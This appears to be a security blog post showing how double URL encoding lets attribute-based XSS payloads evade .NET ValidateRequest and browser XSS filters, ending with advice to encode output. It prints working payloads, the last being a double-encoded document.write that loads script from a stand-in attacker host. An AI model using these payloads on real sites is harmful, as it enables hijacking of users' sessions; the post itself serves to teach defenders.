Evading .NET and Browser XSS Protection with Attribute Based XSS

.NET applications offer good protection against basic reflected XSS vectors. Since .NET 1.1, ValidateRequest has been examining client supplied input for "supicious" characters, and throwing a helpful error message if such characters are found within a GET or POST request. These days, an attempt to perform the classic <script>alert(1)</script>  will likely fail against the majority of .NET applications with the well known "A potentially dangerous Request.Form value was detected from the client..". Does that mean XSS in .NET is dead?

Unfortunately no. And more unfortunately, developers seem to overly rely on these protective measures. Take Microsoft's advice (http://msdn.microsoft.com/en-us/library/ff649310.aspx - from 2005), the simple steps to mitigate XSS are as follows: 

  • Constrain input.
  • Encode output.

Good advice. The problem is however, modern .NET applications constrain the input very well, but do not enforce encoding of the output. As most automated tests check for correct input validation, it becomes very easy to miss output encoding issues that may lead to serious security vulnerabilities. This lack of "automated" encoding shouldn't be construed as a failing of .NET, as output needs to be encoded differently on a case by case basis - for example URL encoding of user supplied input in JavaScript code snippets and HTML encoding in generic web content. Welcome to the world of attribute based XSS. This is not a blog post on attribute based XSS, but for the unaware I'll give a quick overview and example. Attribute based XSS is basically termination of HTML tag attribute/property (with a single or double quotation mark), and introduction of a further tag attribute that allows execution of arbitary script: 

<a href='http://somesite.local/apage.asp?target='' onload='alert(1)'>a link</a>

NB: code highlighted in red is the user supplied input.

More often than not, like all XSS vulnerabilites, most penetration testers would demonstrate this vulnerability by simply instering an alert statement to display a visual pop-up box to the end-user. But how would a real attacker turn this into something that could be used to perform a meaningful attack against a target?

Simply, the attacker needs to include a remote script, allowing ANY action to be performed in the security context of the vulnerable site. The easiest way is to perform a document.write, for example:

<a href='http://somesite.local/apage.asp?target='' onload="document.write('<script src=//attackerip.local/i></script>')"'>a link</a>

The trouble with this approach is two fold. Firstly, the introduction of angle brackets hits the .NET ValidateRequest protective measures, and also modern browser XSS protection - which basically works by looking for "unsafe" client supplied input being reflected without encoding. So how can we bypass?

First step, encode - URL encode:

<a href='http://somesite.local/apage.asp?target=''onload='document.write(unescape("%3c%73%63%72%69%70%74%20%73%72%63%3d%22%2f%2f%61%74%74%61%63%6b%65%72%69%70%2e%6c%6f%63%61%6c%2f%69%22%3e%3c%2f%73%63%72%69%70%74%3e"))'>a link</a>

This basic evasion won't work for two reasons; firstly the browser will decode the URL and detect user supplied input is being reflected in the responce. Secondly, the appliction will decode the parameter and detect that unsafe characters are being sent...back to the "A potentially dangerous..." error message. What the attacker needs to remember in this instances however is we have already proved that we can execute arbitrary code - as illustrated in the pop-up box in the first example. So let's apply a second round of encoding:

<a href='http://somesite.local/apage.asp?target=''onload='document.write(unescape(unescape("%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%32%66%25%32%66%25%36%31%25%37%34%25%37%34%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%36%39%25%37%30%25%32%65%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%32%66%25%36%39%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65")))'>a link</a>

Now in this example we have no unencoded angle brackets and we have no [single pass] URL encoded angle brackets. In other words we have just bypassed both .NET ValidateRequest and modern browser XSS protective measures. The beauty of this attack is there is no trivial solution to the problem, other than executing the JavaScript code to assess whether or not it's malicious in nature; not a trivial task, and dangerous in its own right.

So there you go...bypass both .NET and modern browser XSS protection with a simple double URL encode of the infection vector*. REMEMBER POINT TWO OF MICROSOFT'S ADVICE - ENCODE [OR STRIP] THE OUTPUT - do not rely on input validation alone!

*Tested with XSS-Harvest.pl